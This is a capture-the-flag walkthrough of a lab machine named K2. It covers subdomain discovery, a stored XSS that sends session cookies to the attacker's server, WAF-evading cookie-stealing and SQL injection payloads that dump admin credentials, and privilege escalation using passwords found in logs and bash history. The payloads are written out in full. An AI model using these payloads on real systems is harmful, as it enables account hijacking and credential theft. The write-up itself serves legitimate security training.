Base Camp

K2 -Are you able to make your way through the mountain? - by hadrian3689


Recon

We start with a Nmap scan and find only two open ports. We have SSH on port 22 and a Nginx web server on port 80.

We continue with a directory scan using Feroxbuster and find nothing special. The page seems to be just static.

feroxbuster -u 'http://k2.thm' -w /usr/share/wordlists/dirb/big.txt

This gives us reason to believe that there may be other subdomains. We search for them with FFuF and find the subdomains admin and it. We now add them to our /etc/hosts.

ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://k2.thm/ -H "Host:FUZZ.k2.thm" -fw 811

admin.k2.thm

Behind admin.k2.thm is a system for checking tickets. However, we need some credentials that are still missing.

Using a directory scan, we also find the endpoint /dashboard.

it.k2.thm

Behind it.k2.thm is a ticket system. We may be able to create tickets here, which can then be viewed in admin.k2.thm. Furthermore, we see that we have the possibility for a signup.

However, a directory scan with Feroxbuster does not reveal anything else of interest.

We create an account to have a quick look at the ticket system.

After creating an account and logging in, we see that we can create tickets. It's very simple, only the title and description can be entered.

Web Access

Let's take a closer look at the system. Looking at the cookies, we see that flask-ssigned cookies are used for authentication. (not a jwt token)

Using jwt.io, we take a closer look at the token.

This is also very simple, there are only the claims auth_username, id and loggedin.

We are now trying to check for XSS, hoping to retrieve an admin token to hijack the session of one that will read our tickets. We use the following payloads, which resolve on our web server when the script is triggered. We set the field names as directories so that we can later tell which field is vulnerable. Furthermore, we set up a Python web server and send a ticket with the following payloads.

<script src="http://10.8.211.1/title"></script>
<script src="http://10.8.211.1/desc"></script>

And we get connections to our server. The description field is vulnerable to XSS and allows us to steal cookies, the http-only flag is not set.

A lot of payloads offer us hacktricks to do just that:

We select the following, but we see that a Web Application Firewall (WAF) takes effect.

<img src=x onerror=this.src="http://10.8.211.1/?c="+document.cookie>

It seems to trigger on document.cookie. We can work around this with the following payload:

<script>var c='co'+'okie';document.location='http://10.8.211.1/?c='+document[c];</script>

The ticket is successfully submitted.

And we receive some session tokens, of which we can use any of them.

We see it is actually and admin token using jwt.io.

Next, we add the token for the admin subdomain. After reloading the login page, we will not be redirected directly.

When we visit /dashboard, we see that we have access. The challenge itself makes sure that our tickets are deleted, it may be that we trigger our own payload when we call the dashboard. After a short time, we can access the dashboard. Alternatively, you can disable JavaScript. We have three tickets in front of us and we can sort or filter by title.

Information Leakage

We try to check the field for SQL injection and use the simple special character '.

We are causing an Internal Server Error, SQWL injection seems likely.

We intercept the request to filter and use it in SQLMap, but we don't seem to be very successful. We see that at some point in the request, we are redirected, and our session is terminated. Checking via --proxy and looking at the request in Burp Suite, we could now try to create a suitable tamper script, but there is a much easier solution. We do it manually! Another note, the session is not actually terminated. So we can continue.

We capture the request.

And try another simple SQL injection payload to get the session termination message. OR is the trigger here.

' OR  1 = 1 -- -

We can substitute OR with || and the WAF is not triggered anymore.

' ||  1 = 1 -- -

Next we try to enumerate the number of columns in the table present. Determined by incrementing the columns that are selected in the Union Select Statement. Those are three. With the payloads ' UNION SELECT 1,2 and ' UNION SELECT 1,2 we get a 500 inernal server error. Alternatively, we could also check using ORDER BY x and keep increasing the value x until we receive an internal server error.

' UNION SELECT 1,2,3 -- -

Now we can query the version of the database to determine which one we are dealing with. DBMS Identification Payloads:

' UNION SELECT 1,2,@@version) -- -

We can query the current database to determine underlying tables. Currently in use is ticketsite.

' UNION SELECT 1,2,concat(DATABASE()) -- -

We can use the following payload to query all databases, but only ticketsite seem to be of interest. This SQL injection payload attempts to retrieve a concatenated list of all database names (schemas) from the information_schema.schemata table. The UNION SELECT is used to append this information to a previous query, bypassing normal SQL restrictions to extract data.

' UNION SELECT 1,2,group_concat(schema_name) FROM information_schema.schemata -- -

Next, we move on to enumerate the tables of the current database. The SQL injection payload retrieves a concatenated list of all table names from the current database by querying the information_schema.tables table. The WHERE table_schema=database() condition ensures that only tables from the currently selected database are returned.

' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables  WHERE table_schema=database() -- -

We retrieve the following tables.

admin_auth,auth_users,tickets

Of interest is admin_auth. Next we query for the column names of admin_auth. The SQL injection payload retrieves a concatenated list of all column names from the admin_auth table in the current database. It queries the information_schema.columns table and filters the results using table_schema = database() to ensure it only lists columns from the currently active database and from the specified admin_auth table.

' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_schema = database() and table_name ='admin_auth'-- -

We retrieve the following columns.

admin_password,admin_username,email,id

Next, we retrieve the admin_username and admin_password from admin_auth. The SQL injection payload retrieves a concatenated list of the admin_username and admin_password values from the admin_auth table, separated by a colon (:).

' UNION SELECT 1,2,group_concat(admin_username,':',admin_password) FROM admin_auth -- -

Foothold

We notice that the user James has reused the password for the admin panel. We can log in to the server via SSH with his credentials. In the home directroy off james we find the user flag.

Furthermore, we can already answer the fourth question by looking at the /etc/passwd file.

Root Access

While enumerating, we notice that we are part of the adm group and therefore can read the logs in /var/logs. Perhaps we can find something useful there to extend our privileges.

We know about the user rose. So let's take a look at the logs. In /var/logs, we run grep -iR rose to find all entries that have rose as a topic in any way.

In nginx/access.log, we find the failed login attempt of rose with a clear text password. We know that we cannot switch to user rose. But rose may have made a more serious mistake.

We realize it is the password of the root user. Using that password we are able to get a root shell.

From there, we go to rose's home directory and find a failed attempt to switch root users in the .bash_history file using sudo su. It shows something like sudo suREDACTED. The user forgot to hit enter after sudo su and typed the user's password right after the command.

To answer the third question, here is a brief summary of who now has access to the server.

james password    # database
root password     # nginx/access.log
rose password     # /home/rose/.bash_history

Last updated